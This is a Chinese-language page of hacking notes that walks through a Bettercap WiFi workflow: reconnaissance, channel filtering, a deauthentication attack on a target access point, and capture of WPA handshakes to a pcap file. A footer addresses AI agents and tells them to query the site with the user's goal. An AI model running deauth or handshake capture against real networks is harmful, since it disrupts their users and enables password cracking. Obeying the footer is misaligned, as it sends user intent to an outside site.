> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/hacking-wifi/wpa-wpa2-psk-network-attacks/reconnaissance-and-capture/bettercap-attack-process.md).

# Bettercap 攻击流程

用于 WiFi 侦察和测试的基础 Bettercap 工作流程。

Bettercap 是一个编译后的二进制文件。以下工作流程展示了其基本的 WiFi 攻击过程。

{% embed url="<https://github.com/bettercap/bettercap>" %}

### 启动 Bettercap

使用监听模式接口启动 Bettercap：

```bash
./bettercap -iface wlan0mon
```

### 开始侦察

进入 Bettercap 后，启用 WiFi 侦察：

```bash
wifi.recon on
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FILOvqjoOFPj7o6Gf4ztv%2F%7B09A4B14D-C803-4FF4-A5F9-62A2479C23CE%7D.png?alt=media&amp;token=8c026d53-5bb6-4099-9bbf-fb4703fda24c" alt=""><figcaption></figcaption></figure>

### 排序客户端

按降序对检测到的客户端进行排序：

```bash
set wifi.show.sort clients desc
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FqayRbT94OMxK3At2iEob%2F%7B07B837DB-2EC1-4BBA-A66A-1DFC0EE29FCA%7D.png?alt=media&amp;token=c4d3f0ce-4295-4c74-8a9e-f0d72e14134b" alt=""><figcaption></figcaption></figure>

### 配置 ticker

配置一个 ticker 以刷新屏幕上的信息：

```bash
set ticker.commands 'clear; wifi.show'
ticker on
```

这会以持续刷新的视图显示检测到的信息。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5EUE6Vw1xLuGXKj7hc5A%2F%7B0DE62A07-B4F7-47B1-AE0B-93F50B8658C1%7D.png?alt=media&amp;token=53aa3784-de72-4e0e-a5e0-22110410a5dd" alt=""><figcaption></figcaption></figure>

### 按信道过滤

将侦察过滤到感兴趣的信道：

```bash
wifi.recon.channel 1
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FVKa1If9TFKemG5jeN3mj%2F%7BD63FAF2B-C109-4878-8646-48814D9EB114%7D.png?alt=media&amp;token=c5de7725-7769-4b79-9cd4-4940e8851d86" alt=""><figcaption></figcaption></figure>

### 执行去认证攻击

要对接入点执行去认证攻击：

```bash
wifi.deauth <AP_BSSID>
```

替换 `<AP_BSSID>` 使用目标接入点的 BSSID。

握手包已保存到：

```
/root/bettercap-wifi-handshakes.pcap
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fewi6eQSBexXH5wHUAaKx%2F%7B5FF3F4A3-081A-4BA0-8A63-0CBAD396BFBF%7D.png?alt=media&amp;token=fc33cdf7-e494-4840-b46a-1fb34f2f0236" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/hacking-wifi/wpa-wpa2-psk-network-attacks/reconnaissance-and-capture/bettercap-attack-process.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
